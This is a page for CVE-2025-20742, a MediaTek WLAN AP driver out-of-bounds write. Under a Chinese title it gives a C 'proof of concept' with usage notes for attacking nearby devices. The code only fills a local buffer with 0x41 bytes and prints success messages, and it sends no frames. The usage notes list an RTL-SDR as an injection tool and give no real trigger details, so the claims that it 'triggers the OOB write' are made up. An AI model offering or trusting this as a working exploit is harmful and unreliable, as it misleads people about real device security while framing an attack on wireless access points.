CVE-2025-20742: MediaTek WLAN AP驱动越界写入权限提升漏洞

// CVE-2025-20742 PoC - MediaTek WLAN AP Driver Out of Bounds Write // This is a conceptual proof of concept for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated malformed WLAN frame structure typedef struct { unsigned char frame_type; unsigned char frame_subtype; unsigned short duration; unsigned char da[6]; // Destination Address unsigned char sa[6]; // Source Address unsigned char bssid[6]; // BSSID unsigned short sequence_control; unsigned char payload[256]; // Malformed payload } __attribute__((packed)) wlan_frame_t; void craft_malicious_frame(wlan_frame_t *frame) { // Frame type that triggers the vulnerable code path frame->frame_type = 0x02; // Data frame frame->frame_subtype = 0x08; // Data subtype // Set source address to trigger specific condition memset(frame->sa, 0xFF, 6); // Craft payload that exceeds expected bounds // This triggers the out of bounds write due to missing bounds check memset(frame->payload, 0x41, 256); // Overwrite critical memory regions // In real exploitation, this would target function pointers or critical data } int main() { printf("[*] CVE-2025-20742 PoC - MediaTek WLAN AP OOB Write\n"); printf("[*] Target: MediaTek WLAN AP Driver\n"); printf("[*] Attack Vector: Adjacent/Proximal\n"); printf("[*] Severity: High (CVSS 8.0)\n\n"); wlan_frame_t *malicious_frame = (wlan_frame_t *)malloc(sizeof(wlan_frame_t)); if (!malicious_frame) { printf("[-] Memory allocation failed\n"); return -1; } printf("[*] Crafting malicious WLAN frame...\n"); craft_malicious_frame(malicious_frame); printf("[+] Malicious frame crafted successfully\n"); printf("[+] Frame type: 0x%02x, subtype: 0x%02x\n", malicious_frame->frame_type, malicious_frame->frame_subtype); printf("[+] Payload length: 256 bytes (triggers OOB write)\n"); printf("\n[!] Note: This PoC is for educational/demonstration purposes only\n"); printf("[!] Actual exploitation requires proximity to target WLAN network\n"); free(malicious_frame); return 0; } // Usage: // 1. Compile: gcc -o cve_2025_20742_poc cve_2025_20742_poc.c // 2. Execute near target MediaTek device with vulnerable WLAN driver // 3. Inject crafted frames using tools like scapy or aireplay-ng // Real-world exploitation would require: // - RTL-SDR or compatible wireless card // - Scapy library for frame crafting // - Proximity to target AP (within wireless range) // - Knowledge of specific trigger conditions in vulnerable driver